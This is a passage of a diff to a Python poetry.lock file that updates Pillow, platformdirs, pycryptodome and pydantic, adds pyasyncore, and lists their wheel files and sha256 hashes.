"sha256:d921bc90b1defa55c9917ca6b6b71430e4286fc9e44c55ead78ca1a9f9eba5f2"}, + {file = "Pillow-10.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:cfe96560c6ce2f4c07d6647af2d0f3c54cc33289894ebd88cfbb3bcd5391e256"}, + {file = "Pillow-10.1.0-pp310-pypy310_pp73-macosx_10_10_x86_64.whl", hash = "sha256:937bdc5a7f5343d1c97dc98149a0be7eb9704e937fe3dc7140e229ae4fc572a7"}, + {file = "Pillow-10.1.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b1c25762197144e211efb5f4e8ad656f36c8d214d390585d1d21281f46d556ba"}, + {file = "Pillow-10.1.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:afc8eef765d948543a4775f00b7b8c079b3321d6b675dde0d02afa2ee23000b4"}, + {file = "Pillow-10.1.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:883f216eac8712b83a63f41b76ddfb7b2afab1b74abbb413c5df6680f071a6b9"}, + {file = "Pillow-10.1.0-pp39-pypy39_pp73-macosx_10_10_x86_64.whl", hash = "sha256:b920e4d028f6442bea9a75b7491c063f0b9a3972520731ed26c83e254302eb1e"}, + {file = "Pillow-10.1.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1c41d960babf951e01a49c9746f92c5a7e0d939d1652d7ba30f6b3090f27e412"}, + {file = "Pillow-10.1.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:1fafabe50a6977ac70dfe829b2d5735fd54e190ab55259ec8aea4aaea412fa0b"}, + {file = "Pillow-10.1.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:3b834f4b16173e5b92ab6566f0473bfb09f939ba14b23b8da1f54fa63e4b623f"}, + {file = "Pillow-10.1.0.tar.gz", hash = "sha256:e6bf8de6c36ed96c86ea3b6e1d5273c53f46ef518a062464cd7ef5dd2cf92e38"}, ] [package.extras] @@ -1514,13 +1508,13 @@ tests = ["check-manifest", "coverage", "defusedxml", "markdown2", "olefile", "pa [[package]] name = "platformdirs" -version = "3.10.0" +version = "3.11.0" description = "A small Python package for determining appropriate platform-specific dirs, e.g. a \"user data dir\"." optional = false python-versions = ">=3.7" files = [ - {file = "platformdirs-3.10.0-py3-none-any.whl", hash = "sha256:d7c24979f292f916dc9cbf8648319032f551ea8c49a4c9bf2fb556a02070ec1d"}, - {file = "platformdirs-3.10.0.tar.gz", hash = "sha256:b45696dab2d7cc691a3226759c0d3b00c47c8b6e293d96f6436f733303f77f6d"}, + {file = "platformdirs-3.11.0-py3-none-any.whl", hash = "sha256:e9d171d00af68be50e9202731309c4e658fd8bc76f55c11c7dd760d023bda68e"}, + {file = "platformdirs-3.11.0.tar.gz", hash = "sha256:cf8ee52a3afdb965072dcc652433e0c7e3e40cf5ea1477cd4b3b1d2eb75495b3"}, ] [package.extras] @@ -1592,6 +1586,18 @@ files = [ [package.dependencies] pyasn1 = ">=0.4.6,<0.6.0" +[[package]] +name = "pyasyncore" +version = "1.0.2" +description = "Make asyncore available for Python 3.12 onwards" +optional = false +python-versions = "*" +files = [ + {file = "pyasyncore-1.0.2-py2.py30.py31.py32.py33.py34.py35.py36.py37.py38.py39.py310.py311-none-any.whl", hash = "sha256:50cb0ff113de9a487938ae95e7fa3e8c64938e2e8fb0599916aaf28634bb3c9f"}, + {file = "pyasyncore-1.0.2-py3-none-any.whl", hash = "sha256:ab428ffa58b25e1c7e09d630b37c2ace92f5efd1e3dfb95b6b1e1fde86eb090b"}, + {file = "pyasyncore-1.0.2.tar.gz", hash = "sha256:cce88ad267e3013f43b03ebff8a9e3cd319eb68f95df22beabbf0fffdece996c"}, +] + [[package]] name = "pycparser" version = "2.21" @@ -1605,88 +1611,88 @@ files = [ [[package]] name = "pycryptodome" -version = "3.18.0" +version = "3.19.0" description = "Cryptographic library for Python" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" files = [ - {file = "pycryptodome-3.18.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:d1497a8cd4728db0e0da3c304856cb37c0c4e3d0b36fcbabcc1600f18504fc54"}, - {file = "pycryptodome-3.18.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:928078c530da78ff08e10eb6cada6e0dff386bf3d9fa9871b4bbc9fbc1efe024"}, - {file = "pycryptodome-3.18.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:157c9b5ba5e21b375f052ca78152dd309a09ed04703fd3721dce3ff8ecced148"}, - {file = "pycryptodome-3.18.0-cp27-cp27m-manylinux2014_aarch64.whl", hash = "sha256:d20082bdac9218649f6abe0b885927be25a917e29ae0502eaf2b53f1233ce0c2"}, - {file = "pycryptodome-3.18.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:e8ad74044e5f5d2456c11ed4cfd3e34b8d4898c0cb201c4038fe41458a82ea27"}, - {file = "pycryptodome-3.18.0-cp27-cp27m-win32.whl", hash = "sha256:62a1e8847fabb5213ccde38915563140a5b338f0d0a0d363f996b51e4a6165cf"}, - {file = "pycryptodome-3.18.0-cp27-cp27m-win_amd64.whl", hash = "sha256:16bfd98dbe472c263ed2821284118d899c76968db1a6665ade0c46805e6b29a4"}, - {file = "pycryptodome-3.18.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:7a3d22c8ee63de22336679e021c7f2386f7fc465477d59675caa0e5706387944"}, - {file = "pycryptodome-3.18.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:78d863476e6bad2a592645072cc489bb90320972115d8995bcfbee2f8b209918"}, - {file = "pycryptodome-3.18.0-cp27-cp27mu-manylinux2014_aarch64.whl", hash = "sha256:b6a610f8bfe67eab980d6236fdc73bfcdae23c9ed5548192bb2d530e8a92780e"}, - {file = "pycryptodome-3.18.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:422c89fd8df8a3bee09fb8d52aaa1e996120eafa565437392b781abec2a56e14"}, - {file = "pycryptodome-3.18.0-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:9ad6f09f670c466aac94a40798e0e8d1ef2aa04589c29faa5b9b97566611d1d1"}, - {file = "pycryptodome-3.18.0-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:53aee6be8b9b6da25ccd9028caf17dcdce3604f2c7862f5167777b707fbfb6cb"}, - {file = "pycryptodome-3.18.0-cp35-abi3-manylinux2014_aarch64.whl", hash = "sha256:10da29526a2a927c7d64b8f34592f461d92ae55fc97981aab5bbcde8cb465bb6"}, - {file = "pycryptodome-3.18.0-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f21efb8438971aa16924790e1c3dba3a33164eb4000106a55baaed522c261acf"}, - {file = "pycryptodome-3.18.0-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4944defabe2ace4803f99543445c27dd1edbe86d7d4edb87b256476a91e9ffa4"}, - {file = "pycryptodome-3.18.0-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:51eae079ddb9c5f10376b4131be9589a6554f6fd84f7f655180937f611cd99a2"}, - {file = "pycryptodome-3.18.0-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:83c75952dcf4a4cebaa850fa257d7a860644c70a7cd54262c237c9f2be26f76e"}, - {file = "pycryptodome-3.18.0-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:957b221d062d5752716923d14e0926f47670e95fead9d240fa4d4862214b9b2f"}, - {file = "pycryptodome-3.18.0-cp35-abi3-win32.whl", hash = "sha256:795bd1e4258a2c689c0b1f13ce9684fa0dd4c0e08680dcf597cf9516ed6bc0f3"}, - {file = "pycryptodome-3.18.0-cp35-abi3-win_amd64.whl", hash = "sha256:b1d9701d10303eec8d0bd33fa54d44e67b8be74ab449052a8372f12a66f93fb9"}, - {file = "pycryptodome-3.18.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:cb1be4d5af7f355e7d41d36d8eec156ef1382a88638e8032215c215b82a4b8ec"}, - {file = "pycryptodome-3.18.0-pp27-pypy_73-win32.whl", hash = "sha256:fc0a73f4db1e31d4a6d71b672a48f3af458f548059aa05e83022d5f61aac9c08"}, - {file = "pycryptodome-3.18.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:f022a4fd2a5263a5c483a2bb165f9cb27f2be06f2f477113783efe3fe2ad887b"}, - {file = "pycryptodome-3.18.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:363dd6f21f848301c2dcdeb3c8ae5f0dee2286a5e952a0f04954b82076f23825"}, - {file = "pycryptodome-3.18.0-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:12600268763e6fec3cefe4c2dcdf79bde08d0b6dc1813887e789e495cb9f3403"}, - {file = "pycryptodome-3.18.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:4604816adebd4faf8810782f137f8426bf45fee97d8427fa8e1e49ea78a52e2c"}, - {file = "pycryptodome-3.18.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:01489bbdf709d993f3058e2996f8f40fee3f0ea4d995002e5968965fa2fe89fb"}, - {file = "pycryptodome-3.18.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3811e31e1ac3069988f7a1c9ee7331b942e605dfc0f27330a9ea5997e965efb2"}, - {file = "pycryptodome-3.18.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6f4b967bb11baea9128ec88c3d02f55a3e338361f5e4934f5240afcb667fdaec"}, - {file = "pycryptodome-3.18.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:9c8eda4f260072f7dbe42f473906c659dcbadd5ae6159dfb49af4da1293ae380"}, - {file = "pycryptodome-3.18.0.tar.gz", hash = "sha256:c9adee653fc882d98956e33ca2c1fb582e23a8af7ac82fee75bd6113c55a0413"}, + {file = "pycryptodome-3.19.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:3006c44c4946583b6de24fe0632091c2653d6256b99a02a3db71ca06472ea1e4"}, + {file = "pycryptodome-3.19.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:7c760c8a0479a4042111a8dd2f067d3ae4573da286c53f13cf6f5c53a5c1f631"}, + {file = "pycryptodome-3.19.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:08ce3558af5106c632baf6d331d261f02367a6bc3733086ae43c0f988fe042db"}, + {file = "pycryptodome-3.19.0-cp27-cp27m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:45430dfaf1f421cf462c0dd824984378bef32b22669f2635cb809357dbaab405"}, + {file = "pycryptodome-3.19.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:a9bcd5f3794879e91970f2bbd7d899780541d3ff439d8f2112441769c9f2ccea"}, + {file = "pycryptodome-3.19.0-cp27-cp27m-win32.whl", hash = "sha256:190c53f51e988dceb60472baddce3f289fa52b0ec38fbe5fd20dd1d0f795c551"}, + {file = "pycryptodome-3.19.0-cp27-cp27m-win_amd64.whl", hash = "sha256:22e0ae7c3a7f87dcdcf302db06ab76f20e83f09a6993c160b248d58274473bfa"}, + {file = "pycryptodome-3.19.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:7822f36d683f9ad7bc2145b2c2045014afdbbd1d9922a6d4ce1cbd6add79a01e"}, + {file = "pycryptodome-3.19.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:05e33267394aad6db6595c0ce9d427fe21552f5425e116a925455e099fdf759a"}, + {file = "pycryptodome-3.19.0-cp27-cp27mu-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:829b813b8ee00d9c8aba417621b94bc0b5efd18c928923802ad5ba4cf1ec709c"}, + {file = "pycryptodome-3.19.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:fc7a79590e2b5d08530175823a242de6790abc73638cc6dc9d2684e7be2f5e49"}, + {file = "pycryptodome-3.19.0-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:542f99d5026ac5f0ef391ba0602f3d11beef8e65aae135fa5b762f5ebd9d3bfb"}, + {file = "pycryptodome-3.19.0-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:61bb3ccbf4bf32ad9af32da8badc24e888ae5231c617947e0f5401077f8b091f"}, + {file = "pycryptodome-3.19.0-cp35-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d49a6c715d8cceffedabb6adb7e0cbf41ae1a2ff4adaeec9432074a80627dea1"}, + {file = "pycryptodome-3.19.0-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e249a784cc98a29c77cea9df54284a44b40cafbfae57636dd2f8775b48af2434"}, + {file = "pycryptodome-3.19.0-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d033947e7fd3e2ba9a031cb2d267251620964705a013c5a461fa5233cc025270"}, + {file = "pycryptodome-3.19.0-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:84c3e4fffad0c4988aef0d5591be3cad4e10aa7db264c65fadbc633318d20bde"}, + {file = "pycryptodome-3.19.0-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:139ae2c6161b9dd5d829c9645d781509a810ef50ea8b657e2257c25ca20efe33"}, + {file = "pycryptodome-3.19.0-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:5b1986c761258a5b4332a7f94a83f631c1ffca8747d75ab8395bf2e1b93283d9"}, + {file = "pycryptodome-3.19.0-cp35-abi3-win32.whl", hash = "sha256:536f676963662603f1f2e6ab01080c54d8cd20f34ec333dcb195306fa7826997"}, + {file = "pycryptodome-3.19.0-cp35-abi3-win_amd64.whl", hash = "sha256:04dd31d3b33a6b22ac4d432b3274588917dcf850cc0c51c84eca1d8ed6933810"}, + {file = "pycryptodome-3.19.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:8999316e57abcbd8085c91bc0ef75292c8618f41ca6d2b6132250a863a77d1e7"}, + {file = "pycryptodome-3.19.0-pp27-pypy_73-win32.whl", hash = "sha256:a0ab84755f4539db086db9ba9e9f3868d2e3610a3948cbd2a55e332ad83b01b0"}, + {file = "pycryptodome-3.19.0-pp310-pypy310_pp73-macosx_10_9_x86_64.whl", hash = "sha256:0101f647d11a1aae5a8ce4f5fad6644ae1b22bb65d05accc7d322943c69a74a6"}, + {file = "pycryptodome-3.19.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8c1601e04d32087591d78e0b81e1e520e57a92796089864b20e5f18c9564b3fa"}, + {file = "pycryptodome-3.19.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:506c686a1eee6c00df70010be3b8e9e78f406af4f21b23162bbb6e9bdf5427bc"}, + {file = "pycryptodome-3.19.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:7919ccd096584b911f2a303c593280869ce1af9bf5d36214511f5e5a1bed8c34"}, + {file = "pycryptodome-3.19.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:560591c0777f74a5da86718f70dfc8d781734cf559773b64072bbdda44b3fc3e"}, + {file = "pycryptodome-3.19.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c1cc2f2ae451a676def1a73c1ae9120cd31af25db3f381893d45f75e77be2400"}, + {file = "pycryptodome-3.19.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:17940dcf274fcae4a54ec6117a9ecfe52907ed5e2e438fe712fe7ca502672ed5"}, + {file = "pycryptodome-3.19.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:d04f5f623a280fbd0ab1c1d8ecbd753193ab7154f09b6161b0f857a1a676c15f"}, + {file = "pycryptodome-3.19.0.tar.gz", hash = "sha256:bc35d463222cdb4dbebd35e0784155c81e161b9284e567e7e933d722e533331e"}, ] [[package]] name = "pydantic" -version = "1.10.12" +version = "1.10.13" description = "Data validation and settings management using python type hints" optional = false python-versions = ">=3.7" files = [ - {file = "pydantic-1.10.12-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a1fcb59f2f355ec350073af41d927bf83a63b50e640f4dbaa01053a28b7a7718"}, - {file = "pydantic-1.10.12-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:b7ccf02d7eb340b216ec33e53a3a629856afe1c6e0ef91d84a4e6f2fb2ca70fe"}, - {file = "pydantic-1.10.12-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8fb2aa3ab3728d950bcc885a2e9eff6c8fc40bc0b7bb434e555c215491bcf48b"}, - {file = "pydantic-1.10.12-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:771735dc43cf8383959dc9b90aa281f0b6092321ca98677c5fb6125a6f56d58d"}, - {file = "pydantic-1.10.12-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:ca48477862372ac3770969b9d75f1bf66131d386dba79506c46d75e6b48c1e09"}, - {file = "pydantic-1.10.12-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:a5e7add47a5b5a40c49b3036d464e3c7802f8ae0d1e66035ea16aa5b7a3923ed"}, - {file = "pydantic-1.10.12-cp310-cp310-win_amd64.whl", hash = "sha256:e4129b528c6baa99a429f97ce733fff478ec955513630e61b49804b6cf9b224a"}, - {file = "pydantic-1.10.12-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b0d191db0f92dfcb1dec210ca244fdae5cbe918c6050b342d619c09d31eea0cc"}, - {file = "pydantic-1.10.12-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:795e34e6cc065f8f498c89b894a3c6da294a936ee71e644e4bd44de048af1405"}, - {file = "pydantic-1.10.12-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:69328e15cfda2c392da4e713443c7dbffa1505bc9d566e71e55abe14c97ddc62"}, - {file = "pydantic-1.10.12-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2031de0967c279df0d8a1c72b4ffc411ecd06bac607a212892757db7462fc494"}, - {file = "pydantic-1.10.12-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:ba5b2e6fe6ca2b7e013398bc7d7b170e21cce322d266ffcd57cca313e54fb246"}, - {file = "pydantic-1.10.12-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:2a7bac939fa326db1ab741c9d7f44c565a1d1e80908b3797f7f81a4f86bc8d33"}, - {file = "pydantic-1.10.12-cp311-cp311-win_amd64.whl", hash = "sha256:87afda5539d5140cb8ba9e8b8c8865cb5b1463924d38490d73d3ccfd80896b3f"}, - {file = "pydantic-1.10.12-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:549a8e3d81df0a85226963611950b12d2d334f214436a19537b2efed61b7639a"}, - {file = "pydantic-1.10.12-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:598da88dfa127b666852bef6d0d796573a8cf5009ffd62104094a4fe39599565"}, - {file = "pydantic-1.10.12-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ba5c4a8552bff16c61882db58544116d021d0b31ee7c66958d14cf386a5b5350"}, - {file = "pydantic-1.10.12-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:c79e6a11a07da7374f46970410b41d5e266f7f38f6a17a9c4823db80dadf4303"}, - {file = "pydantic-1.10.12-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:ab26038b8375581dc832a63c948f261ae0aa21f1d34c1293469f135fa92972a5"}, - {file = "pydantic-1.10.12-cp37-cp37m-win_amd64.whl", hash = "sha256:e0a16d274b588767602b7646fa05af2782576a6cf1022f4ba74cbb4db66f6ca8"}, - {file = "pydantic-1.10.12-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:6a9dfa722316f4acf4460afdf5d41d5246a80e249c7ff475c43a3a1e9d75cf62"}, - {file = "pydantic-1.10.12-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:a73f489aebd0c2121ed974054cb2759af8a9f747de120acd2c3394cf84176ccb"}, - {file = "pydantic-1.10.12-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6b30bcb8cbfccfcf02acb8f1a261143fab622831d9c0989707e0e659f77a18e0"}, - {file = "pydantic-1.10.12-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2fcfb5296d7877af406ba1547dfde9943b1256d8928732267e2653c26938cd9c"}, - {file = "pydantic-1.10.12-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:2f9a6fab5f82ada41d56b0602606a5506aab165ca54e52bc4545028382ef1c5d"}, - {file = "pydantic-1.10.12-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:dea7adcc33d5d105896401a1f37d56b47d443a2b2605ff8a969a0ed5543f7e33"}, - {file = "pydantic-1.10.12-cp38-cp38-win_amd64.whl", hash = "sha256:1eb2085c13bce1612da8537b2d90f549c8cbb05c67e8f22854e201bde5d98a47"}, - {file = "pydantic-1.10.12-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:ef6c96b2baa2100ec91a4b428f80d8f28a3c9e53568219b6c298c1125572ebc6"}, - {file = "pydantic-1.10.12-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:6c076be61cd0177a8433c0adcb03475baf4ee91edf5a4e550161ad57fc90f523"}, - {file = "pydantic-1.10.12-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2d5a58feb9a39f481eda4d5ca220aa8b9d4f21a41274760b9bc66bfd72595b86"}, - {file = "pydantic-1.10.12-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e5f805d2d5d0a41633651a73fa4ecdd0b3d7a49de4ec3fadf062fe16501ddbf1"}, - {file = "pydantic-1.10.12-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:1289c180abd4bd4555bb927c42ee42abc3aee02b0fb2d1223fb7c6e5bef87dbe"}, - {file = "pydantic-1.10.12-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:5d1197e462e0364906cbc19681605cb7c036f2475c899b6f296104ad42b9f5fb"}, - {file = "pydantic-1.10.12-cp39-cp39-win_amd64.whl", hash = "sha256:fdbdd1d630195689f325c9ef1a12900524dceb503b00a987663ff4f58669b93d"}, - {file = "pydantic-1.10.12-py3-none-any.whl", hash = "sha256:b749a43aa51e32839c9d71dc67eb1e4221bb04af1033a32e3923d46f9effa942"}, - {file = "pydantic-1.10.12.tar.gz", hash = "sha256:0fe8a415cea8f340e7a9af9c54fc71a649b43e8ca3cc732986116b3cb135d303"}, + {file = "pydantic-1.10.13-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:efff03cc7a4f29d9009d1c96ceb1e7a70a65cfe86e89d34e4a5f2ab1e5693737"}, + {file = "pydantic-1.10.13-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:3ecea2b9d80e5333303eeb77e180b90e95eea8f765d08c3d278cd56b00345d01"}, + {file = "pydantic-1.10.13-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1740068fd8e2ef6eb27a20e5651df000978edce6da6803c2bef0bc74540f9548"}, + {file = "pydantic-1.10.13-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:84bafe2e60b5e78bc64a2941b4c071a4b7404c5c907f5f5a99b0139781e69ed8"}, + {file = "pydantic-1.10.13-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:bc0898c12f8e9c97f6cd44c0ed70d55749eaf783716896960b4ecce2edfd2d69"}, + {file = "pydantic-1.10.13-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:654db58ae399fe6434e55325a2c3e959836bd17a6f6a0b6ca8107ea0571d2e17"}, + {file = "pydantic-1.10.13-cp310-cp310-win_amd64.whl", hash = "sha256:75ac15385a3534d887a99c713aa3da88a30fbd6204a5cd0dc4dab3d770b9bd2f"}, + {file = "pydantic-1.10.13-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:c553f6a156deb868ba38a23cf0df886c63492e9257f60a79c0fd8e7173537653"}, + {file = "pydantic-1.10.13-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5e08865bc6464df8c7d61439ef4439829e3ab62ab1669cddea8dd00cd74b9ffe"}, + {file = "pydantic-1.10.13-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e31647d85a2013d926ce60b84f9dd5300d44535a9941fe825dc349ae1f760df9"}, + {file = "pydantic-1.10.13-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:210ce042e8f6f7c01168b2d84d4c9eb2b009fe7bf572c2266e235edf14bacd80"}, + {file = "pydantic-1.10.13-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:8ae5dd6b721459bfa30805f4c25880e0dd78fc5b5879f9f7a692196ddcb5a580"}, + {file = "pydantic-1.10.13-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f8e81fc5fb17dae698f52bdd1c4f18b6ca674d7068242b2aff075f588301bbb0"}, + {file = "pydantic-1.10.13-cp311-cp311-win_amd64.whl", hash = "sha256:61d9dce220447fb74f45e73d7ff3b530e25db30192ad8d425166d43c5deb6df0"}, + {file = "pydantic-1.10.13-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:4b03e42ec20286f052490423682016fd80fda830d8e4119f8ab13ec7464c0132"}, + {file = "pydantic-1.10.13-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f59ef915cac80275245824e9d771ee939133be38215555e9dc90c6cb148aaeb5"}, + {file = "pydantic-1.10.13-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5a1f9f747851338933942db7af7b6ee8268568ef2ed86c4185c6ef4402e80ba8"}, + {file = "pydantic-1.10.13-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:97cce3ae7341f7620a0ba5ef6cf043975cd9d2b81f3aa5f4ea37928269bc1b87"}, + {file = "pydantic-1.10.13-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:854223752ba81e3abf663d685f105c64150873cc6f5d0c01d3e3220bcff7d36f"}, + {file = "pydantic-1.10.13-cp37-cp37m-win_amd64.whl", hash = "sha256:b97c1fac8c49be29486df85968682b0afa77e1b809aff74b83081cc115e52f33"}, + {file = "pydantic-1.10.13-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:c958d053453a1c4b1c2062b05cd42d9d5c8eb67537b8d5a7e3c3032943ecd261"}, + {file = "pydantic-1.10.13-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:4c5370a7edaac06daee3af1c8b1192e305bc102abcbf2a92374b5bc793818599"}, + {file = "pydantic-1.10.13-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7d6f6e7305244bddb4414ba7094ce910560c907bdfa3501e9db1a7fd7eaea127"}, + {file = "pydantic-1.10.13-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d3a3c792a58e1622667a2837512099eac62490cdfd63bd407993aaf200a4cf1f"}, + {file = "pydantic-1.10.13-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:c636925f38b8db208e09d344c7aa4f29a86bb9947495dd6b6d376ad10334fb78"}, + {file = "pydantic-1.10.13-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:678bcf5591b63cc917100dc50ab6caebe597ac67e8c9ccb75e698f66038ea953"}, + {file = "pydantic-1.10.13-cp38-cp38-win_amd64.whl", hash = "sha256:6cf25c1a65c27923a17b3da28a0bdb99f62ee04230c931d83e888012851f4e7f"}, + {file = "pydantic-1.10.13-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:8ef467901d7a41fa0ca6db9ae3ec0021e3f657ce2c208e98cd511f3161c762c6"}, + {file = "pydantic-1.10.13-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:968ac42970f57b8344ee08837b62f6ee6f53c33f603547a55571c954a4225691"}, + {file = "pydantic-1.10.13-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9849f031cf8a2f0a928fe885e5a04b08006d6d41876b8bbd2fc68a18f9f2e3fd"}, + {file = "pydantic-1.10.13-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = 